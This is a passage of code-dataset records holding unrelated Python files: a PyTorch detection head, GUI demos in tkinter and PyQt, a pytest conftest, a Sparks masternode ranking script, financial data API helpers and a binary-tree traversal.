rois[i][6] = 2\n flag = True\n continue\n iou = cal_iou(to_np_array(rois[i][1:5]), gt)\n iou = np.max(iou)\n if iou < 0.5:\n if flag:\n rois[i][6] = 2\n flag = True\n return rois\n\n def append_gt_bboxes(self, rois, gt_bboxes, image_info):\n B = len(image_info)\n new_rois = []\n for b_ix in range(B):\n gt_bbox = gt_bboxes[b_ix]\n N = gt_bbox.shape[0]\n nrois = torch.zeros((N, 7))\n nrois = nrois.type_as(rois)\n nrois[:, 0] = b_ix\n nrois[:, 1: 5] = gt_bbox[:, :4]\n nrois[:, 5] = 1.0\n nrois[:, 6] = gt_bbox[:, 4]\n w = nrois[:, 3] - nrois[:, 1]\n h = nrois[:, 4] - nrois[:, 2]\n rand = np.random.rand(N, 4)\n ratio = self.cfg.get('gt_jitter_ratio', 0.0)\n nrois[:, 1] = nrois[:, 1] + ((rand[:, 0] - 0.5) * 2 * w * ratio).type_as(nrois)\n nrois[:, 2] = nrois[:, 2] + ((rand[:, 1] - 0.5) * 2 * h * ratio).type_as(nrois)\n nrois[:, 3] = nrois[:, 3] + ((rand[:, 2] - 0.5) * 2 * w * ratio).type_as(nrois)\n nrois[:, 4] = nrois[:, 4] + ((rand[:, 3] - 0.5) * 2 * h * ratio).type_as(nrois)\n nrois[:, 1:5] = clip_bbox(nrois[:, 1:5], image_info[b_ix])\n if N > 20 and not self.cfg.get('only_gt_bboxes', False):\n keep_ix = np.random.choice(N, size=20, replace=True)\n nrois = nrois.index_select(0, torch.cuda.LongTensor(keep_ix)).contiguous()\n new_rois.append(nrois)\n if not self.cfg.get('only_gt_bboxes', False):\n new_rois.append(rois)\n rois = torch.cat(new_rois)\n return rois\n\n def get_loss(self, input):\n image_info = input['image_info']\n rois = input.get('dt_bboxes', None)\n gt_assos = input['gt_assos']\n gt_bboxes = input.get('gt_bboxes', None)\n if self.cfg.get('append_gt_bboxes', False):\n rois = self.append_gt_bboxes(rois, gt_bboxes, image_info)\n #rois = self.assign(rois, gt_bboxes)\n ignore_regions = input.get('gt_ignores', None)\n tmp_rois = copy.deepcopy(rois)\n pair_rois, rois1, rois2, pair_position = self.generate_pair(tmp_rois, input)\n #pdb.set_trace()\n roiTable = self.create_table(pair_rois)\n inds, rcnn_gt_cls, normalizer = \\\n compute_proposal_targets_gt(\n tmp_rois, pair_rois, self.num_classes, self.cfg, gt_bboxes, gt_assos, roiTable, image_info, 'rcnn', ignore_regions)\n tmp_pair_rois = pair_rois[inds]\n tmp_pair_position = pair_position[inds]\n tmp_rois1 = rois1[inds]\n tmp_rois2 = rois2[inds]\n pred_pair_feature = self.extract_relation_feature(rois, tmp_pair_rois, tmp_pair_position, input)\n pred_rcnn_cls = self.predict(pred_pair_feature, tmp_rois1, tmp_rois2, tmp_pair_position, input)\n if isinstance(pred_rcnn_cls, list):\n loss, acc = {}, {}\n for i, pred_cls in enumerate(pred_rcnn_cls):\n cur_loss, cur_acc = self.cal_loss(input, tmp_rois1, tmp_rois2, pred_cls, rcnn_gt_cls, str(i) + '_', self.cfg.get(\"cls_loss_scale\", 1.0), self.binary_mask)\n loss.update(cur_loss)\n acc.update(cur_acc)\n else:\n loss, acc = self.cal_loss(input, tmp_rois1, tmp_rois2, pred_rcnn_cls, rcnn_gt_cls, \"\", self.cfg.get(\"cls_loss_scale\", 1.0), self.binary_mask)\n predict_vector = None\n predict_target = None\n\n return loss, acc, predict_vector, predict_target\n\n def cal_loss(self, input, rois1, rois2, pred_rcnn_cls, rcnn_gt_cls, prefix, cls_loss_scale, binary_mask=None):\n loss = {}\n def f2(x):\n return Variable(torch.from_numpy(x)).cuda()\n rcnn_gt_cls = f2(rcnn_gt_cls).long()\n rcnn_cls = pred_rcnn_cls.float()\n if self.cfg.get('cls_type', 'softmax') == 'sigmoid':\n rcnn_gt_cls = rcnn_gt_cls.float()\n sigma = self.cfg.get('smooth_l1_sigma', 1.0)\n if self.cfg.get('ohem', None):\n rcnn_cls = rcnn_cls.view(-1).contiguous()\n rcnn_gt_cls = rcnn_gt_cls.view(-1).contiguous()\n cls_loss, _, idx = L.ohem_loss(\n self.cfg['ohem']['batch_size'],\n rcnn_cls,\n rcnn_gt_cls,\n None,\n None,\n self.cfg.get('cls_type', 'softmax'),\n smooth_l1_sigma=sigma)\n rcnn_cls = rcnn_cls[idx]\n rcnn_gt_cls = rcnn_gt_cls[idx]\n elif self.cfg.get('focal_loss', None) is not None:\n cls_loss, acc = L.get_focal_loss(rcnn_cls, rcnn_gt_cls, rcnn_gt_cls.shape[0], self.num_classes, self.cfg['focal_loss'])\n #pdb.set_trace()\n elif self.cfg.get('cls_type', 'softmax') == 'softmax':\n#(N, 6) rois2 \n # rcnn_cls\n weight = self.cfg.get('cls_weight', None)\n weight = torch.tensor(weight).float().cuda() if weight is not None else None\n cls_loss = F.cross_entropy(rcnn_cls, rcnn_gt_cls, weight=weight)\n else:\n if self.binary_mask:\n N, C = rcnn_cls.shape\n for i in range(N):\n scale = self.binary_scale[rois2[i][6]]\n scale = scale.type_as(rcnn_cls)\n rcnn_cls[i] = rcnn_cls[i] * scale\n cls_loss = F.binary_cross_entropy_with_logits(rcnn_cls, rcnn_gt_cls)\n loss.update({'.' + prefix + 'cls_loss': cls_loss * cls_loss_scale})\n if self.cfg.get('cls_type', 'softmax') == 'softmax':\n acc = {'.' + prefix + 'accuracy': A.accuracy(rcnn_cls, rcnn_gt_cls)[0]}\n else:\n acc = {'.' + prefix + 'accuracy': A.binary_accuracy(rcnn_cls, rcnn_gt_cls)[0]}\n return loss, acc\n\n\nclass GeneralAssociation(PairWiseNet):\n def __init__(self,\n inplanes,\n feat_planes,\n num_classes,\n cfg,\n initializer=None):\n super(GeneralAssociation, self).__init__(inplanes, num_classes, cfg)\n inplanes = self.inplanes\n self.relu = nn.ReLU(inplace=True)\n self.fc6 = nn.Linear(self.mdim, feat_planes)\n self.fc7 = nn.Linear(feat_planes, feat_planes)\n self.fc_rcnn_cls = nn.Linear(feat_planes + self.cls_mdim, num_classes)\n \n\n def predict(self, x, rois1=None, rois2=None, union_rois=None, input=None):\n '''\n x: feature to pool\n '''\n feature = self.relu(self.fc6(x))\n feature = self.relu(self.fc7(feature))\n pred_cls = self.fc_rcnn_cls(feature)\n if self.tocaffe:\n self.print_param(x, 'concat_feature.txt')\n self.print_param(pred_cls, 'pred_feature.txt')\n return pred_cls\n\nclass GeneralAssociation_union(PairWiseNet):\n def __init__(self,\n inplanes,\n feat_planes,\n num_classes,\n cfg,\n initializer=None):\n super(GeneralAssociation_union, self).__init__(inplanes, num_classes, cfg)\n inplanes = self.inplanes\n self.relu = nn.ReLU(inplace=True)\n self.fc6_2 = nn.Linear(self.mdim, feat_planes)\n self.fc7_2 = nn.Linear(feat_planes, feat_planes)\n self.fc_rcnn_cls_2 = nn.Linear(feat_planes + self.cls_mdim, num_classes)\n \n\n def predict(self, x, rois1=None, rois2=None, union_rois=None, input=None):\n '''\n x: feature to pool\n '''\n feature = self.relu(self.fc6_2(x))\n feature = self.relu(self.fc7_2(feature))\n pred_cls = self.fc_rcnn_cls_2(feature)\n if self.tocaffe:\n self.print_param(x, 'concat_feature.txt')\n self.print_param(pred_cls, 'pred_feature.txt')\n return pred_cls\n \n","sub_path":"unn/models/heads/pair_head_clean/pair_head.py","file_name":"pair_head.py","file_ext":"py","file_size_in_byte":32431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"206971619","text":"import tkinter as tk\n\nclass APP:\n def __init__(self,master):\n frame=tk.Frame(master)\n #框架用于将组件分组\n frame.pack(side=tk.LEFT,padx=10,pady=10)\n #自动调整位置,不输入参数则默认调整\n #pack(side=tk.LEFT,padx=10,pady=10)表示靠左边,离左边像素10,离上边像素10\n self.hi_there=tk.Button(frame,text=\"打招呼\",fg=\"blue\",command=self.say_hi)\n #会出现一个按钮,名为打招呼,字体为蓝色,fg就是设置字体颜色,bg是背景色\n #command是按下按钮之后的反馈\n self.hi_there.pack(padx=10,pady=10)\n def say_hi(self):\n print(\"互联网的广大朋友们大家好,我是小甲鱼!\")\nroot=tk.Tk()\napp=APP(root)\n\nroot.mainloop()\n","sub_path":"GUI2.py","file_name":"GUI2.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"579738302","text":"# directory-specific hook implementations\nimport os\nimport sys\n\nfrom .fixtures._datajoint_server import datajoint_server # noqa: F401\n\n\nthisdir = os.path.dirname(os.path.realpath(__file__))\nsys.path.append(thisdir)\n\n\ndef pytest_addoption(parser):\n parser.addoption('--current', action='store_true', dest=\"current\",\n default=False, help=\"run only tests marked as current\")\n\n\ndef pytest_configure(config):\n config.addinivalue_line(\n \"markers\", \"current: for convenience -- mark one test as current\"\n )\n\n markexpr_list = []\n\n if config.option.current:\n markexpr_list.append('current')\n\n if len(markexpr_list) > 0:\n markexpr = ' and '.join(markexpr_list)\n setattr(config.option, 'markexpr', markexpr)\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"61153495","text":"#!/usr/bin/python3\n\nimport json\nimport subprocess\nfrom collections import OrderedDict\nfrom pathlib import Path\nimport time\nimport os\nimport datetime\nimport sys\nimport tempfile\n\n\n\nclass bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\n\nclass Coin:\n # PARAMETERS #\n cache_time_min = 3\n coin_cli = 'sparks-cli'\n tdir = tempfile.gettempdir()\n\n Config_file = tdir+'/mn.conf'\n list_file = tdir+'/mn_list.json'\n\n output_file = tdir+'/mn_output.json'\n _now_ = int(datetime.datetime.now().strftime(\"%s\"))\n\n\n if len(sys.argv) > 1:\n conf_file = sys.argv[1]\n else:\n conf_file = './mn_conf.json'\n\n @classmethod\n def checkmnsync(cls):\n check = cls.clicmd('mnsync status')\n\n if not check['IsSynced']:\n print('you need to wait till mn is synced')\n quit()\n\n return True\n\n @classmethod\n def buildfiles(cls):\n\n cls.checkmnsync()\n\n if len(sys.argv) == 1:\n if cls.fileage(cls.conf_file) == 0:\n cls.writefile(cls.conf_file, Coin.clicmd(\n 'masternode list-conf', hook='conf-hook'))\n else:\n if cls.fileage(sys.argv[1]) == 0:\n print('config file not found please check')\n cls.stdconf(sys.argv[1])\n else:\n print('file found ' + sys.argv[1])\n\n if cls.fileage(cls.list_file) == 0 or cls.fileage(cls.list_file) >= cls.cache_time_min:\n cls.writefile(cls.list_file, Coin.clicmd('masternode list'))\n\n @classmethod\n def stdconf(cls, filename=''):\n\n if filename == '':\n filename = cls.list_file\n\n _stdconf_dict = {\n 'seed1_mn': '80.211.65.29',\n 'seed2_mn': '80.211.57.4',\n 'seed3_mn': '51.15.112.11',\n 'seed4_mn': '94.177.176.181',\n }\n\n cls.writefile(filename, _stdconf_dict)\n\n @classmethod\n def clicmd(cls, cmd, hook=''):\n try:\n cli_output = subprocess.check_output(\n cls.coin_cli + ' ' + cmd, shell=True).decode(\"utf-8\")\n\n if hook == 'conf-hook':\n iter_num = 0\n output = \"\"\n iter_string = \"\"\n mnconf_json = {}\n # masternode list-conf INDEX HOOK makes name-ip json\n for i in cli_output.split('\\\"masternode\\\"'):\n if iter_num != 0:\n iter_string = '\\\"' + str(iter_num) + '\\\"'\n\n output = \"\".join([output, iter_string + ' ' + i])\n iter_num = iter_num + 1\n\n output_json = json.loads(output, object_pairs_hook=OrderedDict)\n\n for i in output_json:\n mnconf_json[output_json[i]['alias']] = output_json[i]['address'].split(':')[\n 0]\n return mnconf_json\n\n cli_output = json.loads(cli_output, object_pairs_hook=OrderedDict)\n return cli_output\n except subprocess.CalledProcessError:\n quit()\n\n @staticmethod\n def fileage(filename):\n exists = Path(filename)\n if exists.is_file():\n age = time.time() - os.path.getmtime(filename)\n else:\n age = 0\n # returns age in minutes\n return age / 60\n\n @classmethod\n def writefile(cls, filename, data, sort_keys=True, indent=4):\n\n\n file_age = cls.fileage(filename)\n if file_age > cls.cache_time_min or file_age == 0:\n Path(filename).write_text(json.dumps(\n data, sort_keys=sort_keys, indent=indent))\n return ()\n\n @classmethod\n def rankcalc(cls, lastpaidtime, activeseconds):\n if int(lastpaidtime) == 0:\n rank = activeseconds\n else:\n delta = cls._now_ - lastpaidtime\n if delta >= int(activeseconds):\n rank = activeseconds\n else:\n rank = delta\n return rank\n\n @classmethod\n def filteranks(cls, dictdata, mndata):\n r_data = {}\n pos_data = {}\n mn_conf_ips = []\n for i in mndata:\n mn_conf_ips.append(mndata[i].split(':')[0])\n\n for i in dictdata:\n status = dictdata[i]['status']\n ip = dictdata[i]['address'].split(':')[0]\n\n if ip in mn_conf_ips:\n r_data[i] = dictdata[i]\n pos_data[i] = cls.rankcalc(\n dictdata[i]['lastpaidtime'], dictdata[i]['activeseconds'])\n elif status == 'ENABLED' or status == 'SENTINEL_PING_EXPIRED':\n r_data[i] = dictdata[i]\n pos_data[i] = cls.rankcalc(\n dictdata[i]['lastpaidtime'], dictdata[i]['activeseconds'])\n\n # sort pos_data to get position\n sorted_pos_data = sorted(\n pos_data.items(), key=lambda kv: kv[1], reverse=True)\n\n sorted_list = []\n for i in sorted_pos_data:\n sorted_list.append(i[0])\n\n for i in sorted_list:\n r_data[i] = dictdata[i]\n r_data[i]['pos'] = sorted_list.index(i)\n\n return r_data\n\n @staticmethod\n def openfile(filename):\n exists = Path(filename)\n if exists.is_file():\n _file = open(filename, 'r')\n _file_dic = json.load(_file, object_pairs_hook=OrderedDict)\n _file.close()\n return _file_dic\n\n return dict()\n\n @classmethod\n def ip2txid(cls, list_dict, conf_dict):\n ip_name = {}\n ip_pos = {}\n ip_txid = {}\n r_data = {}\n\n for i in conf_dict:\n ip_name[conf_dict[i]] = i\n\n for i in list_dict:\n ip_txid[list_dict[i]['address'].split(':')[0]] = i\n ip_pos[list_dict[i]['address'].split(':')[0]] = list_dict[i]['pos']\n\n for i in ip_name:\n r_data[ip_pos[i]] = [ip_txid[i], ip_name[i]]\n\n return r_data\n\n @staticmethod\n def timeCalc(time):\n if time > 0:\n day = time // (24 * 3600)\n time = time % (24 * 3600)\n hour = time // 3600\n time %= 3600\n minutes = time // 60\n time %= 60\n return str(str(day).zfill(2) + 'd ' + str(hour).zfill(2) + ':' + str(minutes).zfill(2))\n else:\n return str('00d 00:00')\n\n @classmethod\n def printoutput(cls):\n list_dict = cls.openfile(cls.list_file)\n conf_dict = cls.openfile(cls.conf_file)\n list_dict_filtered = cls.filteranks(list_dict, conf_dict)\n\n list_dict_txid = cls.ip2txid(list_dict_filtered, conf_dict)\n list_dict_txid_reversed = OrderedDict(\n reversed(list(list_dict_txid.items())))\n\n # rename for easy lines\n _output = list_dict_txid_reversed\n _list = list_dict_filtered\n _max_rank = len(_list)\n now = int(datetime.datetime.now().strftime(\"%s\"))\n\n # BEGIN\n print('{:-<132}'.format(bcolors.HEADER + '' + bcolors.ENDC), end=' \\n')\n\n # HEADER\n print('{:<1s}'.format(bcolors.ENDC + '|'), end=' ')\n print('{:<25}'.format(bcolors.BOLD + bcolors.HEADER + 'Masternode' + bcolors.ENDC), end=' ')\n print('{:<25}'.format(bcolors.BOLD + 'IP-Address' + bcolors.ENDC), end=' ')\n print('{:>4s}'.format('MAX'), end=' ')\n print('{:1s}'.format('|'), end=' ')\n print('{:>4s}'.format('PO'), end=' ')\n print('{:>3s}'.format(''), end='')\n print('{:<1s}'.format('%'), end=' ')\n print('{:>3s}'.format('|'), end=' ')\n print('{:>15s}'.format(bcolors.OKGREEN + 'Proto' + bcolors.ENDC), end=' ')\n print('{:>1s}'.format('|'), end=' ')\n print('{:<18s}'.format(bcolors.OKGREEN + 'sentinel' + bcolors.ENDC), end=' ')\n print('{:1s}'.format('|'), end=' ')\n print('{:<18s}'.format(bcolors.OKGREEN + 'daemon' + bcolors.ENDC), end=' ')\n print('{:1s}'.format('|'), end=' ')\n print('{:<18s}'.format(bcolors.OKBLUE + 'lastpaid' + bcolors.ENDC), end=' ')\n print('{:1s}'.format('|'), end=' ')\n print('{:<31s}'.format(bcolors.OKBLUE + 'status' + bcolors.ENDC), end=' |\\n')\n\n # END\n print('{:-<132}'.format(bcolors.HEADER + bcolors.ENDC), end='\\n')\n\n for line in sorted(_output, reverse=False):\n txid = _output[line][0]\n _name = _output[line][1]\n _out = _list[txid]\n\n position = _out['pos'] / _max_rank * 100\n pcol = _out['protocol'] > 20208 and bcolors.OKGREEN or bcolors.FAIL\n scol = _out['sentinelversion'] == '1.2.0' and bcolors.OKGREEN or bcolors.FAIL\n stcol = _out['status'] == 'ENABLED' and bcolors.OKGREEN or bcolors.FAIL\n dcol = bcolors.FAIL\n\n if _out['daemonversion'] == '0.12.3.5':\n dcol = bcolors.OKGREEN\n elif _out['daemonversion'] == '0.12.3.4':\n dcol = bcolors.OKBLUE\n \n paycol = bcolors.OKBLUE\n\n last_paid_time_h = cls.timeCalc(now - _out['lastpaidtime'])\n\n print('{:<1s}'.format(bcolors.ENDC + '|'), end=' ')\n print('{:<25}'.format(bcolors.BOLD + bcolors.OKBLUE + _name + bcolors.ENDC), end=' ')\n print('{:<25}'.format(bcolors.BOLD + _out['address'].split(':')[0] + bcolors.ENDC), end=' ')\n print('{:4d}'.format(_max_rank), end=' ')\n print('{:1s}'.format('|'), end=' ')\n print('{:>4d}'.format(_out['pos']), end=' ')\n print('{:>3d}'.format(round(position)), end='')\n print('{:<1s}'.format('%'), end=' ')\n print('{:>3s}'.format('|'), end=' ')\n print('{:>15s}'.format(pcol + str(_out['protocol']) + bcolors.ENDC), end=' ')\n print('{:>1s}'.format('|'), end=' ')\n print('{:<18s}'.format(scol + str(_out['sentinelversion']) + bcolors.ENDC), end=' ')\n print('{:1s}'.format('|'), end=' ')\n print('{:<18s}'.format(dcol + str(_out['daemonversion']) + bcolors.ENDC), end=' ')\n print('{:1s}'.format('|'), end=' ')\n print('{:<18s}'.format(paycol + last_paid_time_h + bcolors.ENDC), end=' ')\n print('{:1s}'.format('|'), end=' ')\n print('{:<28s}'.format(stcol + str(_out['status'])), end=bcolors.ENDC + '| \\n')\n\n print('{:-<132}'.format(bcolors.HEADER + bcolors.ENDC), end='\\n')\n print('amountof listed MASTERNODES [' + str(len(conf_dict)) + ']')\n\n\nCoin.buildfiles()\nCoin.printoutput()\n","sub_path":"mnrank.py","file_name":"mnrank.py","file_ext":"py","file_size_in_byte":10559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"398452053","text":"# -*- coding: utf-8 -*-\n\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_MainWindow(object):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(1400, 800)\n self.centralwidget = QtWidgets.QWidget(MainWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.horizontalLayout = QtWidgets.QHBoxLayout(self.centralwidget)\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\n self.myTable = QtWidgets.QTableWidget(self.centralwidget)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.myTable.sizePolicy().hasHeightForWidth())\n self.myTable.setSizePolicy(sizePolicy)\n self.myTable.setSizeIncrement(QtCore.QSize(0, 0))\n font = QtGui.QFont()\n font.setFamily(\"宋体\")\n font.setPointSize(11)\n self.myTable.setFont(font)\n self.myTable.setEditTriggers(QtWidgets.QAbstractItemView.DoubleClicked)\n self.myTable.setDragEnabled(True)\n self.myTable.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows)\n self.myTable.setObjectName(\"myTable\")\n self.myTable.setColumnCount(0)\n self.myTable.setRowCount(0)\n self.horizontalLayout.addWidget(self.myTable)\n self.myBrowser = QtWidgets.QTextBrowser(self.centralwidget)\n font = QtGui.QFont()\n font.setFamily(\"宋体\")\n font.setPointSize(14)\n self.myBrowser.setFont(font)\n self.myBrowser.setObjectName(\"myBrowser\")\n self.horizontalLayout.addWidget(self.myBrowser)\n MainWindow.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(MainWindow)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 1400, 23))\n self.menubar.setObjectName(\"menubar\")\n MainWindow.setMenuBar(self.menubar)\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\n self.statusbar.setObjectName(\"statusbar\")\n MainWindow.setStatusBar(self.statusbar)\n\n self.retranslateUi(MainWindow)\n self.myTable.itemClicked['QTableWidgetItem*'].connect(self.myBrowser.clear)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n _translate = QtCore.QCoreApplication.translate\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"新闻浏览器\"))\n self.myTable.setSortingEnabled(True)\n","sub_path":"PyQt/ver/ver_ui_01.py","file_name":"ver_ui_01.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"243257251","text":"# -*- coding: utf-8 -*-\n# from airflow.ti_deps.deps.dag_ti_slots_available_dep import DagTISlotsAvailableDep\n# from airflow.ti_deps.deps.dag_unpaused_dep import DagUnpausedDep\n# from airflow.ti_deps.deps.dagrun_exists_dep import DagrunRunningDep\n# from airflow.ti_deps.deps.exec_date_after_start_date_dep import ExecDateAfterStartDateDep\n# from airflow.ti_deps.deps.not_running_dep import NotRunningDep\n# from airflow.ti_deps.deps.not_skipped_dep import NotSkippedDep\n# from airflow.ti_deps.deps.runnable_exec_date_dep import RunnableExecDateDep\n# from airflow.ti_deps.deps.valid_state_dep import ValidStateDep\nfrom state import State\n\n\nclass DepContext(object):\n def __init__(\n self,\n deps=None,\n flag_upstream_failed=False,\n ignore_all_deps=False,\n ignore_depends_on_past=False,\n ignore_in_retry_period=False,\n ignore_task_deps=False,\n ignore_ti_state=False):\n self.deps = deps or set()\n self.flag_upstream_failed = flag_upstream_failed\n self.ignore_all_deps = ignore_all_deps\n self.ignore_depends_on_past = ignore_depends_on_past\n self.ignore_in_retry_period = ignore_in_retry_period\n self.ignore_task_deps = ignore_task_deps\n self.ignore_ti_state = ignore_ti_state\n\nQUEUEABLE_STATES = {\n State.FAILED,\n State.NONE,\n State.QUEUED,\n State.SCHEDULED,\n State.SKIPPED,\n State.UPSTREAM_FAILED,\n State.UP_FOR_RETRY,\n}\n\n# QUEUE_DEPS = {\n# NotRunningDep(),\n# NotSkippedDep(),\n# RunnableExecDateDep(),\n# ValidStateDep(QUEUEABLE_STATES),\n# }\n#\n# RUN_DEPS = QUEUE_DEPS | {\n# DagTISlotsAvailableDep()\n# }\n#\n# SCHEDULER_DEPS = RUN_DEPS | {\n# DagrunRunningDep(),\n# DagUnpausedDep(),\n# ExecDateAfterStartDateDep(),\n# }\n","sub_path":"dayu/utils/deps.py","file_name":"deps.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"281320464","text":"# -*- coding: utf-8 -*-\nfrom typing import List, Union\n\nimport pandas as pd\nfrom sqlalchemy.orm import Session\n\nfrom zvt.accounts.ccxt_account import CCXTAccount\nfrom zvt.api.common import get_data, decode_security_id\nfrom zvt.api.common import get_security_schema, get_kdata_schema\nfrom zvt.domain import get_db_engine, TradingLevel, Provider, get_store_category, SecurityType, get_db_session, \\\n StoreCategory, Index\nfrom zvt.utils.pd_utils import df_is_not_null\n\n\ndef init_securities(df, security_type='stock', provider=Provider.EASTMONEY):\n df = df.drop_duplicates(subset=['id'])\n data_schema = get_security_schema(security_type)\n store_category = get_store_category(data_schema=data_schema)\n\n db_engine = get_db_engine(provider, store_category=store_category)\n security_schema = get_security_schema(security_type)\n\n current = get_securities(security_type=security_type, columns=[security_schema.id, security_schema.code],\n provider=provider)\n\n if df_is_not_null(current):\n df = df[~df['id'].isin(current['id'])]\n\n df.to_sql(security_schema.__tablename__, db_engine, index=False, if_exists='append')\n\n\ndef df_to_db(df, data_schema, provider):\n store_category = get_store_category(data_schema)\n db_engine = get_db_engine(provider, store_category=store_category)\n\n current = get_data(data_schema=data_schema, columns=[data_schema.id], provider=provider)\n if df_is_not_null(current):\n df = df[~df['id'].isin(current['id'])]\n\n df.to_sql(data_schema.__tablename__, db_engine, index=False, if_exists='append')\n\n\ndef get_securities_in_blocks(block_names=['HS300_'], block_category='concept', provider='eastmoney'):\n session = get_db_session(provider=provider, store_category=StoreCategory.meta)\n\n filters = [Index.category == block_category]\n name_filters = None\n for block_name in block_names:\n if name_filters:\n name_filters |= (Index.name == block_name)\n else:\n name_filters = (Index.name == block_name)\n filters.append(name_filters)\n blocks = get_securities(security_type='index', provider='eastmoney',\n filters=filters,\n return_type='domain', session=session)\n securities = []\n for block in blocks:\n securities += [item.stock_id for item in block.stocks]\n\n return securities\n\n\ndef get_securities(security_list: List[str] = None,\n security_type: Union[SecurityType, str] = 'stock',\n exchanges: List[str] = None,\n codes: List[str] = None,\n columns: List = None,\n return_type: str = 'df',\n session: Session = None,\n start_timestamp: Union[str, pd.Timestamp] = None,\n end_timestamp: Union[str, pd.Timestamp] = None,\n filters: List = None,\n order: object = None,\n limit: int = None,\n provider: Union[str, Provider] = 'eastmoney',\n index: str = 'code',\n index_is_time: bool = False) -> object:\n data_schema = get_security_schema(security_type)\n\n if not order:\n order = data_schema.code.asc()\n\n if exchanges:\n if filters:\n filters.append(data_schema.exchange.in_(exchanges))\n else:\n filters = [data_schema.exchange.in_(exchanges)]\n\n return get_data(data_schema=data_schema, security_list=security_list, security_id=None, codes=codes, level=None,\n provider=provider,\n columns=columns, return_type=return_type, start_timestamp=start_timestamp,\n end_timestamp=end_timestamp, filters=filters,\n session=session, order=order, limit=limit, index=index, index_is_time=index_is_time)\n\n\ndef get_kdata(security_id, level=TradingLevel.LEVEL_1DAY.value, provider='eastmoney', columns=None,\n return_type='df', start_timestamp=None, end_timestamp=None,\n filters=None, session=None, order=None, limit=None):\n security_type, exchange, code = decode_security_id(security_id)\n data_schema = get_kdata_schema(security_type, level=level)\n\n return get_data(data_schema=data_schema, security_id=security_id, level=level, provider=provider, columns=columns,\n return_type=return_type,\n start_timestamp=start_timestamp,\n end_timestamp=end_timestamp, filters=filters, session=session, order=order, limit=limit)\n\n\ndef get_current_price(security_list=None, security_type=SecurityType.coin):\n result = {}\n if security_type == SecurityType.coin:\n if security_list:\n for security_id in security_list:\n a, exchange, code = decode_security_id(security_id)\n assert SecurityType(a) == security_type\n ccxt_exchange = CCXTAccount.get_ccxt_exchange(exchange_str=exchange)\n\n if not ccxt_exchange:\n raise Exception('{} not support'.format(exchange))\n\n orderbook = ccxt_exchange.fetch_order_book(code)\n\n bid = orderbook['bids'][0][0] if len(orderbook['bids']) > 0 else None\n ask = orderbook['asks'][0][0] if len(orderbook['asks']) > 0 else None\n security_id = f'coin_{exchange}_{code}'\n result[security_id] = (bid, ask)\n\n return result\n\n\nif __name__ == '__main__':\n # print(get_securities())\n # print(get_kdata(security_id='stock_sz_300027', provider='netease'))\n # print(get_kdata(security_id='coin_binance_EOS/USDT', provider='ccxt', level=TradingLevel.LEVEL_1MIN))\n # print(get_finance_factor(security_id='stock_sh_601318', session=get_db_session('eastmoney')))\n # a = get_stock_category('stock_sz_000029')\n # print(a)\n # a = get_securities(codes=['000029', '000778'], return_type='dict')\n # b = get_securities(codes=['000029', '000778'], return_type='df')\n # c = get_securities(codes=['000029', '000778'], return_type='domain')\n # d = get_securities(security_type='index', codes=['BK0451'], return_type='dict')\n #\n # print(get_securities())\n # print(get_securities(columns=[Stock.code]))\n # df = get_securities(codes=['000029', '000778'], session=get_db_session('eastmoney'))\n # print(df)\n #\n # print(get_securities(codes=['000338', '000778', '600338'], exchanges=['sz']))\n print(get_current_price(['coin_huobipro_EOS/USDT', 'coin_binance_EOS/USDT']))\n","sub_path":"zvt/api/technical.py","file_name":"technical.py","file_ext":"py","file_size_in_byte":6527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"49119254","text":"'''\n二叉树的层次遍历。\n\n层次遍历并打印行信息,这里需要两个变量。\n\n'''\n\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Queue1():\n #数组实现队列,先进先出\n def __init__(self):\n self.items = []\n\n def push(self,val):\n if not val:\n return\n self.items.append(val)\n\n def pop(self):\n if self.size() <=0:\n return\n return self.items.pop(0)\n\n def size(self):\n return len(self.items)\n\nclass TreePrinter:\n\n def bfs_order(self,root):\n '''\n 实现二叉树从左到右的打印\n 初始化一个队列\n last: 表示正在打印的当前行的最右节点\n nlast: 表示下一行的最右节点\n 1: 初始化时,令last和nlast都等于root节点。\n '''\n res = []\n queue = Queue1()\n last = root\n nlast = root\n queue.push(root)\n eles = []\n line =0\n while queue.size() !=0 :\n cur = queue.pop()\n eles.append(cur.val)\n if cur.left:\n queue.push(cur.left)\n nlast = cur.left\n if cur.right:\n queue.push(cur.right)\n nlast = cur.right\n\n if cur == last:\n # 说明二叉树该换行了\n last = nlast\n res.append(eles)\n line +=1\n eles = []\n\n return res\n\n # def bfs_order_z(self,root):\n # #实现一个z型打印二叉树\n # #定义一个队列\n # res = []\n #\n 